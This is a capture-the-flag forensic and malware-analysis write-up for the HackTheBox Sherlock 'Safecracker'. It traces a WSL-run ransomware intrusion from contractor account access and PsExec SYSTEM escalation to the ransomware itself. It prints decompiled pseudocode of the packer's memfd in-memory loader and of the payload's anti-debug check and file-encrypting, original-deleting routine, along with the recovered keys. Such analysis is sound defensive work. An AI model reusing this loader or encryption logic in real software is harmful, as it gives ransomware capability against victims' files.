HTB Sherlock: Safecracker

Safecracker

Description

Safecracker on HackTheBox.

We recently hired some contractors to continue the development of our Backup services hosted on a Windows server. We have provided the contractors with accounts for our domain. When our system administrator recently logged on, we found some pretty critical files encrypted and a note left by the attackers. We suspect we have been ransomwared. We want to understand how this attack happened via a full in-depth analysis of any malicious files out of our standard triage. A word of warning, our tooling didn’t pick up any of the actions carried out - this could be advanced.

Warning

This is a warning that this Sherlock includes software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments.

One the Sherlock zip has been unzipped, you will find a DANGER.txt file. Please read this to proceed.

Walkthrough

Initial Triage

The original zip file is around 1 GB in size, but after extracting it, I found the folder was around 10 GB, which is quite large.

alt text

After a quick scan of all the folders, I found PhysicalMemory.raw, which is ~9.7GB, suggesting this is a full memory dump. All the other artifacts were likely generated by Velociraptor, as shown in the log files.

alt text

Looking at the huge amount of data, I decided to use Autopsy to triage it. I created a new case and added the entire folder as evidence.

alt text

Since this challenge’s questions are not asked in chronological order, I decided to answer them in the order I found the evidence.

Evidence analysis with Autopsy

Task 1
Which user account was utilised for initial access to our company server?

Using OS Accounts in Autopsy, I can see the list of user accounts that exist in the file system.

alt text

But I won’t be able to identify which account was used for the initial access just by looking at this. So I decided to find more evidence to find out which account was used for the initial access.

Using File Types in Autopsy, I found ConsoleHost_history.txt, which shows the following: The attacker executed numerous commands such as whoami, net user, net group, etc. Most notably, the attacker entered \Users\contractor01\Contacts\ using cd and used .\PsExec64.exe -s -i cmd.exe to spawn a new command prompt with SYSTEM privileges. This suggests that initial access was likely through the contractor01 account.

alt text

Explanation - More about PsExec64.exe

PsExec is a powerful tool that allows you to execute processes on remote systems. The command .\PsExec64.exe -s -i cmd.exe is used to run the Command Prompt (cmd.exe) with SYSTEM privileges on the local machine.

PsExec64.exe -s -i cmd.exe:

  • -s runs the process in the SYSTEM account
  • -i allows the process to interact with the desktop (i.e., it can show a window)
  • cmd.exe is the command being executed, which in this case is the Command Prompt.

The answer is contractor01

Task 2
Which command did the TA utilise to escalate to SYSTEM after the initial compromise?

The command used to escalate to SYSTEM is .\PsExec64.exe -s -i cmd.exe as shown in the previous screenshot.

The answer is .\PsExec64.exe -s -i cmd.exe

Task 17
What file extension does the ransomware rename files to?

Since the question mentions encrypted files, the files likely have a different extension and may not be identified correctly by file-type detection. So I looked for suspicious files within the provided folder. In .\WinServer-Collection\uploads\auto\C%3A\Users\Administrator\Downloads, this is what I found:

alt text

There are two files called Sysmon.zip.note and Sysmon.zip.31337, where .31337 is likely the encrypted file. There is also one suspicious executable called MsMpEng.exe, likely the ransomware executable, since no legitimate MsMpEng.exe should be located in the Downloads folder.

Explanation - What is MsMpEng.exe?
  • MsMpEng.exe is a legitimate, core executable file for Microsoft Defender Antimalware Service, designed to protect Windows systems in real-time against malware and other security threats. However, in this context, the presence of a file named MsMpEng.exe in the Downloads folder is highly suspicious, as it is not a typical location (C:\Program Files\Windows Defender) for this system file. This suggests that the file may have been renamed or placed there by an attacker, potentially to disguise it as a legitimate process.

The .note file contains the ransom note, and the .31337 file is likely the encrypted file.

alt text

The answer is .31337

Task 18
What is the bitcoin address in the ransomware note?

In the .note file earlier the attacker left a ransom note which contains the bitcoin address.

The answer is 16ftSEQ4ctQFDtVZiUBusQUjRrGhM3JYwe

Task 14
What compiler was used to create the malware?

As mentioned earlier, there is a suspicious executable file called MsMpEng.exe in the Downloads folder, which is likely the ransomware executable. Across the provided evidence, this is the only executable file.

alt text

Using Detect It Easy to analyze the executable file, I can see that the compiler used is GCC((Debian 10.2.1-6) 10.2.1 20210110), and it’s an ELF 64-bit LSB PIE executable.

The answer is gcc

NTFS Analysis

Task 3
How many files have been encrypted by the ransomware deployment?

Since the evidence includes NTFS metadata, I used MFTECmd by Eric Zimmerman to parse the MFT to .csv, then used Timeline Explorer to find how many files were encrypted by the ransomware deployment (files with the .31337 extension).

PS E:\Tools\EZTools\MFTECmd> .\MFTECmd.exe -f 'E:\HTB\Sherlock\safecracker\WinServer-Collection\uploads\ntfs\%5C%5C.%5CC%3A\$MFT' --csv . --csvf MFT.csv

alt text

alt text

The answer is 33

Analysis of MsMpEng.exe

main function

Since I know the executable is compiled with gcc and is an ELF 64-bit LSB PIE executable, I can use IDA to analyze it.

alt text

Getting the pseudocode of the main function:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char *v3; // rax
  char s[8]; // [rsp+10h] [rbp-130h] BYREF
  __int64 v6; // [rsp+18h] [rbp-128h]
  __int64 v7; // [rsp+20h] [rbp-120h]
  __int64 v8; // [rsp+28h] [rbp-118h]
  __int64 v9; // [rsp+30h] [rbp-110h]
  __int64 v10; // [rsp+38h] [rbp-108h]
  __int64 v11; // [rsp+40h] [rbp-100h]
  __int64 v12; // [rsp+48h] [rbp-F8h]
  __int64 v13; // [rsp+50h] [rbp-F0h]
  __int64 v14; // [rsp+58h] [rbp-E8h]
  __int64 v15; // [rsp+60h] [rbp-E0h]
  __int64 v16; // [rsp+68h] [rbp-D8h]
  __int64 v17; // [rsp+70h] [rbp-D0h]
  __int64 v18; // [rsp+78h] [rbp-C8h]
  __int64 v19; // [rsp+80h] [rbp-C0h]
  __int64 v20; // [rsp+88h] [rbp-B8h]
  __int64 v21; // [rsp+90h] [rbp-B0h]
  __int64 v22; // [rsp+98h] [rbp-A8h]
  __int64 v23; // [rsp+A0h] [rbp-A0h]
  __int64 v24; // [rsp+A8h] [rbp-98h]
  __int64 v25; // [rsp+B0h] [rbp-90h]
  __int64 v26; // [rsp+B8h] [rbp-88h]
  __int64 v27; // [rsp+C0h] [rbp-80h]
  __int64 v28; // [rsp+C8h] [rbp-78h]
  __int64 v29; // [rsp+D0h] [rbp-70h]
  __int64 v30; // [rsp+D8h] [rbp-68h]
  __int64 v31; // [rsp+E0h] [rbp-60h]
  __int64 v32; // [rsp+E8h] [rbp-58h]
  __int64 v33; // [rsp+F0h] [rbp-50h]
  __int64 v34; // [rsp+F8h] [rbp-48h]
  __int64 v35; // [rsp+100h] [rbp-40h]
  __int64 v36; // [rsp+108h] [rbp-38h]
  int fd; // [rsp+118h] [rbp-28h]
  int errnum; // [rsp+11Ch] [rbp-24h]
  void *buf; // [rsp+120h] [rbp-20h]
  void *ptr; // [rsp+128h] [rbp-18h]
  __int64 v41; // [rsp+130h] [rbp-10h]
  size_t size; // [rsp+138h] [rbp-8h]
 
  size = (size_t)&unk_36D920;
  v41 = 1637173LL;
  ptr = malloc((unsigned int)::size);
  buf = malloc((size_t)&unk_36D920);
  sub_3A29B(&unk_2893A0, ptr, (unsigned int)::size);
  errnum = sub_3A3CB(ptr, buf, size, size);
  if ( errnum < 0 )
    sub_3A4AC((unsigned int)errnum);
  free(ptr);
  fd = memfd_create("test", 1LL);
  if ( fd <= 0 )
  {
    printf("ERROR FD:%i\n", fd);
    exit(-1);
  }
  errnum = write(fd, buf, errnum);
  if ( errnum <= 0 )
  {
    v3 = strerror(errnum);
    fprintf(stderr, "Error Writing: %s\n", v3);
    exit(-1);
  }
  free(buf);
  *(_QWORD *)s = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  v20 = 0LL;
  v21 = 0LL;
  v22 = 0LL;
  v23 = 0LL;
  v24 = 0LL;
  v25 = 0LL;
  v26 = 0LL;
  v27 = 0LL;
  v28 = 0LL;
  v29 = 0LL;
  v30 = 0LL;
  v31 = 0LL;
  v32 = 0LL;
  v33 = 0LL;
  v34 = 0LL;
  v35 = 0LL;
  v36 = 0LL;
  sprintf(s, "/proc/self/fd/%i", fd);
  execl(s, "PROGRAM", 0LL);
  return 0LL;
}

The main function appears to do the following:

  1. Allocates memory for ptr and buf using malloc.
  2. Loads embedded data into ptr using sub_3A29B.
  3. Calls sub_3A3CB to process the data in ptr and store the result in buf.
  4. If there is an error during processing, it calls sub_3A4AC.
  5. Frees ptr.
  6. Creates an anonymous in-memory file using memfd_create and writes the processed payload buf into it.
  7. Frees buf.
  8. Builds a path: /proc/self/fd/<fd>.
  9. Executes the payload using execl with the path to the in-memory file.

I can rename the embedded data unk_36D920 to payload_data.

Task 8
What was the name of the memoryfd the packer used?

The name of the memoryfd is test as shown in the memfd_create function.

The answer is test

Task 4
What is the name of the process that the unpacked executable runs as?

According to the main function, the executable will run the in-memory file with the name PROGRAM, as shown in the pseudocode.

alt text

The answer is PROGRAM

Task 10
What compression library was used to compress the packed binary?

Right after the main function comes sub_3A4AC, which is called if there is an error during payload processing.

int __fastcall sub_3A4AC(int a1)
{
  if ( a1 == -3 )
    return puts("ZDATA");
  if ( a1 > -3 )
    return puts("Unknown ERR");
  if ( a1 == -5 )
    return puts("ZBUF");
  if ( a1 == -4 )
    return puts("ZMEM");
  else
    return puts("Unknown ERR");
}

From the error code, I can see that the compression library used is likely zlib. (Renaming the function to zlib_error)

alt text

The answer is zlib

Task 7
What was the encryption key and IV for the packer?

After some renaming, I got the following:

alt text

I need to look into sub_3A29B as well as sub_3A3CB to understand how the payload is being processed.

__int64 __fastcall sub_3A3CB(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
  __int64 v7; // [rsp+20h] [rbp-80h] BYREF
  int v8; // [rsp+28h] [rbp-78h]
  __int64 v9; // [rsp+30h] [rbp-70h]
  __int64 v10; // [rsp+38h] [rbp-68h]
  int v11; // [rsp+40h] [rbp-60h]
  __int64 v12; // [rsp+48h] [rbp-58h]
  __int64 v13; // [rsp+60h] [rbp-40h]
  __int64 v14; // [rsp+68h] [rbp-38h]
  __int64 v15; // [rsp+70h] [rbp-30h]
  unsigned int v16; // [rsp+9Ch] [rbp-4h]
 
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v9 = a3;
  v8 = a3;
  v7 = a1;
  v12 = a4;
  v11 = a4;
  v10 = a2;
  v16 = ((__int64 (__fastcall *)(__int64 *, __int64, const char *, __int64, __int64, __int64, __int64, __int64, __int64, __int64))sub_1D4260)(
          &v7,
          47LL,
          "1.2.13",
          112LL,
          a5,
          a6,
          a4,
          a3,
          a2,
          a1);
  if ( !v16 )
  {
    v16 = sub_1D45B0(&v7, 4LL);
    if ( v16 == 1 )
      return v12;
  }
  sub_1D6850(&v7);
  return v16;
}

Reading the pseudocode of sub_3A3CB, it appears to be a zlib decompression function and references zlib version 1.2.13.

__int64 __fastcall sub_3A29B(__int64 a1, __int64 a2, unsigned int a3)
{
  __int64 v4; // rsi
  unsigned int v7; // [rsp+20h] [rbp-20h] BYREF
  unsigned int v8; // [rsp+24h] [rbp-1Ch]
  __int64 v9; // [rsp+28h] [rbp-18h]
  void *v10; // [rsp+30h] [rbp-10h]
  void *v11; // [rsp+38h] [rbp-8h]
 
  v11 = malloc(0x20uLL);
  v10 = malloc(0x10uLL);
  sub_3A95D(off_418EE8[0], v11);
  sub_3A95D(off_418EF0, v10);
  v9 = sub_3E9A0();
  if ( v9 && (v4 = sub_3E2E0(), (unsigned int)sub_3FC70(v9, v4, 0LL, v11, v10) == 1) )
  {
    if ( (unsigned int)sub_402D0(v9, a2, &v7, a1, a3) == 1
      && (v8 = v7, (unsigned int)sub_40AA0(v9, (int)v7 + a2, &v7) == 1) )
    {
      v8 += v7;
      sub_3E9C0(v9);
      return v8;
    }
    else
    {
      sub_3A285();
      return 0LL;
    }
  }
  else
  {
    sub_3A285();
    return 0LL;
  }
}

In sub_3A29B, I can see that it copies two long variables from off_418EE8[0] and off_418EF0 to heap memory, then calls sub_3FC70 with those two variables as arguments.

alt text

sub_3FC70 apparently calls crypto library code from crypto/evp/evp_enc.c.

Checking off_418EE8 and off_418EF0 reveals two long variables, which are likely the key and IV for the encryption. I renamed sub_3A29B to decrypt_payload.

alt text

alt text

The answer is a5f41376d435dc6c61ef9ddf2c4a9543c7d68ec746e690fe391bf1604362742f:95e61ead02c32dab646478048203fd0b

Task 6
What encryption was the packer using?

According to the OpenSSL Wiki, these are possible cipher families that use a 32-byte key and a 16-byte IV:

  • AES-256 Family
  • Camellia-256 Family
  • Aria-256 Family

Guessing the algorithm directly is pretty cumbersome, so I decided to extract the payload data and try decrypting it with the key and IV I found earlier using different algorithms.

As mentioned earlier, the payload data is located at unk_36D920. Start from 2893A0 to 418EDF. Use the Export Data function in IDA to export the data to a binary file.

alt text

Using CyberChef to decrypt the payload with the key and iv I found earlier, I can see that only AES-256-CBC is able to give a valid file as output.

alt text

The answer is AES-256-CBC

Analysis of the unpacked payload

Task 15
If the malware detects a debugger, what string is printed to the screen?

Checking the main function:

__int64 __fastcall main(void **a1, char **a2, char **a3, __int64 a4, __int64 a5, __int64 a6)
{
  __int64 v6; // rdx
  __int64 v7; // rcx
  __int64 v8; // r8
  __int64 v9; // r9
  void *v11; // [rsp+0h] [rbp-38h] BYREF
  __int64 v12; // [rsp+8h] [rbp-30h]
  const char *v13; // [rsp+10h] [rbp-28h]
  __int64 v14; // [rsp+18h] [rbp-20h]
  __int64 v15; // [rsp+20h] [rbp-18h]
  __int64 v16; // [rsp+28h] [rbp-10h]
 
  v11 = &unk_36DFC0;
  v13 = "daV324982S3bh2";
  v12 = 0LL;
  v14 = 14LL;
  v15 = 0LL;
  v16 = 0LL;
  if ( (unsigned int)sub_4ADD8() )
    goto LABEL_2;
  if ( (unsigned int)sub_4AA3D(a1, a2, v6, v7, v8, v9, v11, v12, v13, v14, v15, v16) )
    goto LABEL_2;
  a1 = (void **)(byte_9 + 2);
  raise(11);
  if ( (unsigned int)sub_4A3B5() )
    goto LABEL_2;
  a1 = &v11;
  if ( (unsigned int)sub_4A3F6(&v11) )
    goto LABEL_2;
  raise(11);
  puts("Running update, testing update endpoints");
  a1 = &v11;
  if ( (unsigned int)sub_4AB00(&v11)
    || (a2 = (char **)&v11, a1 = (void **)"/mnt/c/Users", (unsigned int)sub_4AC39("/mnt/c/Users", &v11))
    || (raise(11), sub_4A8F6(&v11), a1 = &v11, (unsigned int)sub_4A5C1(&v11)) )
  {
LABEL_2:
    sub_28164A(a1, a2);
  }
  raise(11);
  puts("-----------------------------------------");
  puts("Configuration Successful\nYou can now connect to the Corporate VPN");
  return 0LL;
}

sub_4ADD8 is the first function called. So I will inspect this function first.

__int64 sub_4ADD8()
{
  __sigset_t *p_sa_mask; // rdi
  __int64 i; // rcx
  struct sigaction act; // [rsp+8h] [rbp-A0h] BYREF
 
  if ( (unsigned int)sub_4AD2C() )
  {
    puts("*******DEBUGGED********");
  }
  else
  {
    p_sa_mask = &act.sa_mask;
    for ( i = 36LL; i; --i )
    {
      LODWORD(p_sa_mask->__val[0]) = 0;
      p_sa_mask = (__sigset_t *)((char *)p_sa_mask + 4);
    }
    act.sa_flags = 4;
    act.sa_handler = (__sighandler_t)sub_4ACFE;
    if ( sigaction(11, &act, 0LL) == -1 )
      _exit(1);
  }
  return 0LL;
}

This function calls sub_4AD2C and prints *******DEBUGGED******** if that function returns true. So I inspected sub_4AD2C as well.

int sub_4AD2C()
{
  FILE *v0; // rax
  FILE *v1; // rbx
  char *v2; // rdi
  char *v4; // rdi
  char *v5; // [rsp+0h] [rbp-408h] BYREF
  char s[1024]; // [rsp+8h] [rbp-400h] BYREF
 
  v5 = 0LL;
  v0 = fopen("/proc/self/status", "r");
  if ( v0 )
  {
    v1 = v0;
    while ( fgets(s, 990, v1) )
    {
      v2 = strstr(s, "TracerPid");
      if ( v2 )
      {
        if ( strtok_r(v2, ":", &v5) )
        {
          v4 = strtok_r(0LL, ":", &v5);
          if ( v4 )
            return atoi(v4);
        }
        return -1;
      }
    }
  }
  else
  {
    fclose(0LL);
  }
  return -1;
}

This function checks TracerPid in /proc/self/status to determine whether the process is being traced by a debugger. If it is being traced, it returns the PID of the tracer; otherwise, it returns 0. I renamed the function to is_debugged for clarity, and renamed sub_4ADD8 to debug_check.

So if the malware detects a debugger, it will print *******DEBUGGED******** to the screen.

The answer is *******DEBUGGED********

Task 11
The binary appears to check for a debugger, what file does it check to achieve this?

As mentioned in the previous question, the function sub_4AD2C is checking the TracerPid in the /proc/self/status file to check if the process is being traced by a debugger.

The answer is /proc/self/status

Task 19
What string does the binary look for when looking for a debugger?

The binary looks for the string TracerPid when looking for a debugger in the /proc/self/status file.

The answer is TracerPid

Task 9
What was the target directory for the ransomware?

There is a string "/mnt/c/Users" in the main function, used as an argument to sub_4AC39.

__int64 __fastcall sub_4AC39(const char *a1, __int64 a2)
{
  DIR *v2; // rbp
  struct dirent *v3; // rbx
  unsigned __int8 d_type; // al
  char v6[4152]; // [rsp+0h] [rbp-1038h] BYREF
 
  v2 = opendir(a1);
  if ( !v2 )
    return 1LL;
  while ( 1 )
  {
    v3 = readdir(v2);
    if ( !v3 )
      break;
    raise(11);
    snprintf(v6, 0x1000uLL, "%s/%s", a1, v3->d_name);
    d_type = v3->d_type;
    if ( d_type == 4 )
    {
      if ( !(unsigned int)sub_4ABF9(v3->d_name) )
        sub_4AC39(v6, a2);
    }
    else if ( d_type == 8 )
    {
      if ( (unsigned int)sub_4AB61(v6) )
        sub_4A955(a2, v6);
    }
  }
  closedir(v2);
  return 0LL;
}

This function uses opendir and readdir to recursively traverse the directory specified by a1, then checks whether each filename matches criteria via sub_4AB61. If it matches, it calls sub_4A955 with the file path.

The answer is /mnt/c/Users

Task 21
What system call is utilised by the binary to list the files within the targeted directories?

The binary uses the readdir system call to list the files within the targeted directories as shown in the sub_4AC39 function.

According to this link, readdir is just a wrapper around the getdents system call.

The answer is getdents64

Task 5
What is the XOR key used for the encrypted strings?
__int64 __fastcall sub_4AB61(char *haystack)
{
  const char *v1; // r15
  int v2; // ebx
  int v3; // r13d
  size_t v4; // rax
  unsigned __int64 v5; // rcx
 
  v1 = aJ;
  v2 = 0;
  v3 = dword_368484;
  while ( 1 )
  {
    if ( v3 <= v2 )
      return 0LL;
    v4 = strlen(v1);
    v5 = 0LL;
    while ( v4 != v5 )
    {
      needle[v5] = v1[v5] ^ aDav324982s3bh2[v5 % 0xE];
      if ( v4 < ++v5 )
        goto LABEL_7;
    }
    needle[v4] = 0;
LABEL_7:
    v1 += 8;
    if ( strstr(haystack, needle) )
      return 1LL;
    ++v2;
  }
}

The function sub_4AB61 checks whether the filename contains any of the strings in the aJ array after XORing them with aDav324982s3bh2.

alt text

The answer is daV324982S3bh2

Task 22
Which system call is used to delete the original files?

Continue to sub_4A5C1.

__int64 __fastcall sub_4A5C1(__int64 a1)
{
  const char **v1; // rbx
  FILE *v2; // rbp
  FILE *v3; // r12
  size_t v4; // rax
  int v5; // eax
  FILE *v6; // r15
  size_t v7; // rsi
  void *v8; // r14
  __int64 v9; // rax
  int v10; // eax
  unsigned int ptr; // [rsp+10h] [rbp-468h]
  size_t v13; // [rsp+18h] [rbp-460h]
  __int64 v14; // [rsp+18h] [rbp-460h]
  char v15[256]; // [rsp+20h] [rbp-458h] BYREF
  char filename[256]; // [rsp+120h] [rbp-358h] BYREF
  _BYTE v17[256]; // [rsp+220h] [rbp-258h] BYREF
  _BYTE v18[344]; // [rsp+320h] [rbp-158h] BYREF
 
  v1 = *(const char ***)(a1 + 32);
  while ( v1 )
  {
    v2 = fopen(*v1, "rb");
    if ( v2 )
    {
      snprintf(v15, 0x100uLL, "%s.31337", *v1);
      snprintf(filename, 0x100uLL, "%s.note", *v1);
      v3 = fopen(v15, "wb");
      if ( v3 )
      {
        while ( 1 )
        {
          v4 = fread(v17, 1uLL, 0x100uLL, v2);
          if ( (int)v4 <= 0 )
            break;
          v13 = v4;
          raise(11);
          v5 = sub_4A47D(v17, v13, *(_QWORD *)(a1 + 40), *(_QWORD *)(a1 + 40) + 33LL);
          if ( v5 < 0 )
          {
            fclose(v2);
            fclose(v3);
            break;
          }
          fwrite(v18, 1uLL, v5, v3);
        }
        v6 = fopen(filename, "wb");
        if ( v6 )
        {
          v7 = (int)sub_4AE53();
          v8 = calloc(1uLL, v7);
          v14 = *(_QWORD *)(a1 + 40);
          ptr = sub_4AE53();
          v9 = sub_4AE4B();
          v10 = sub_4A523(v9, ptr, v14, v14 + 33, v8);
          fwrite(v8, 1uLL, v10, v6);
          fclose(v6);
          free(v8);
          fclose(v2);
          fclose(v3);
          if ( remove(*v1) )
            fputs("Failed to delete original file", stderr);
          v1 = (const char **)v1[1];
        }
      }
      else
      {
        fclose(v2);
      }
    }
  }
  return 0LL;
}

In this function, after encrypting the file and writing the encrypted content to a new file with the .31337 extension, it will call remove(*v1) to delete the original file.

According to this link, remove calls the unlink system call to delete the file.

The answer is unlink

Task 12
What exception does the binary raise?

Across the entire pseudocode of the unpacked payload, there are multiple calls to raise(11), which raises the SIGSEGV signal.

The answer is SIGSEGV

Task 13
Out of this list, what extension is not targeted by the malware? .pptx,.pdf,.tar.gz,.tar,.zip,.exe,.mp4,.mp3

The malware is targeting files with the following extensions as shown in the aJ array. Extract the strings from the aJ array and XOR them with the key daV324982S3bh2 to get the targeted extensions.

alt text

alt text

The list of targeted extensions are:

.pdf .docx .ppt .pptx .doc .zip .jpg .png .gif .mp3 .mp4 .mov .tar.gz .tar

The answer is .exe

Task 16
What is the contents of the .comment section?

Using readelf to read the contents of the .comment section in the unpacked payload:

readelf -p .comment mal.elf
 
String dump of section '.comment':
  [     0]  GCC: (Debian 10.2.1-6) 10.2.1 2021011

The answer is GCC: (Debian 10.2.1-6) 10.2.1 20210110

Task 20
It appears that the attacker has bought the malware strain from another hacker, what is their handle?

Using strings on the payload data, I searched for gcc since the malware is compiled with gcc, and I suspected the folder name or filename might contain the original author’s handle. I found it.

alt text

The answer is blitztide

Post Analysis

During the analysis, the packer and the malware were both ELF binaries, but this is a Windows environment! At first I was really confused, but then I realised that the attacker is likely using WSL to run the malware on the Windows server, which explains why the binaries are in ELF format and why the target directory is /mnt/c/Users. So I checked the evidence again and found this.

alt text

Another ConsoleHost_history.txt revealed that after getting initial access, the attacker escalated privileges to SYSTEM, then installed WSL and ran the malware from there.

A very interesting and unique approach to running malware on Windows using WSL. Definitely a technique worth remembering for future engagements!

Question and Answer

TaskQuestionAnswer
1Which user account was utilised for initial access to our company server?contractor01
2Which command did the TA utilise to escalate to SYSTEM after the initial compromise?.\PsExec64.exe -s -i cmd.exe
3How many files have been encrypted by the ransomware deployment?33
4What is the name of the process that the unpacked executable runs as?PROGRAM
5What is the XOR key used for the encrypted strings?daV324982S3bh2
6What encryption was the packer using?AES-256-CBC
7What was the encryption key and IV for the packer?a5f41376d435dc6c61ef9ddf2c4a9543c7d68e
c746e690fe391bf1604362742f:
95e61ead02c32dab646478048203fd0b
8What was the name of the memoryfd the packer used?test
9What was the target directory for the ransomware?/mnt/c/Users
10What compression library was used to compress the packed binary?zlib
11The binary appears to check for a debugger, what file does it check to achieve this?/proc/self/status
12What exception does the binary raise?SIGSEGV
13Out of this list, what extension is not targeted by the malware? .pptx,.pdf,.tar.gz,.tar,.zip,.exe,.mp4,.mp3.exe
14What compiler was used to create the malware?gcc
15If the malware detects a debugger, what string is printed to the screen?*******DEBUGGED********
16What is the contents of the .comment section?GCC: (Debian 10.2.1-6) 10.2.1 20210110
17What file extension does the ransomware rename files to?.31337
18What is the bitcoin address in the ransomware note?16ftSEQ4ctQFDtVZiUBusQUjRrGhM3JYwe
19What string does the binary look for when looking for a debugger?TracerPid
20It appears that the attacker has bought the malware strain from another hacker, what is their handle?blitztide
21What system call is utilised by the binary to list the files within the targeted directories?getdents64
22Which system call is used to delete the original files?unlink

MITRE ATT&CK

Observed ActivityATT&CK TacticATT&CK Technique
Initial access appears to have used the contractor01 domain account.Initial AccessT1078.002 - Valid Accounts: Domain Accounts
The attacker ran whoami during host triage.DiscoveryT1033 - System Owner/User Discovery
The attacker ran net user to enumerate accounts.DiscoveryT1087.001 - Account Discovery: Local Account
The attacker ran net group to enumerate available groups.DiscoveryT1069.002 - Permission Groups Discovery: Domain Groups
.\PsExec64.exe -s -i cmd.exe was used to launch a SYSTEM shell.ExecutionT1569.002 - System Services: Service Execution
After escalating to SYSTEM, the attacker installed and abused WSL to execute Linux ELF malware from the Windows host.ExecutionT1202 - Indirect Command Execution
The ransomware executable was disguised as MsMpEng.exe in the user’s Downloads folder.Defense EvasionT1036.005 - Masquerading: Match Legitimate Resource Name or Location
The packer decrypted the embedded payload and executed it from an anonymous memfd via /proc/self/fd/<fd>.Defense EvasionT1620 - Reflective Code Loading
The payload checked /proc/self/status for TracerPid to detect a debugger.Defense EvasionT1622 - Debugger Evasion
The ransomware recursively traversed /mnt/c/Users to identify files matching targeted extensions.DiscoveryT1083 - File and Directory Discovery
The malware encrypted victim files, renamed them with the .31337 extension, and dropped ransom notes.ImpactT1486 - Data Encrypted for Impact
After writing encrypted copies, the malware deleted the original files with remove/unlink.Defense EvasionT1070.004 - Indicator Removal: File Deletion

Packer Behavioral Flow

alt text

Ransomware Behavioral Flow

alt text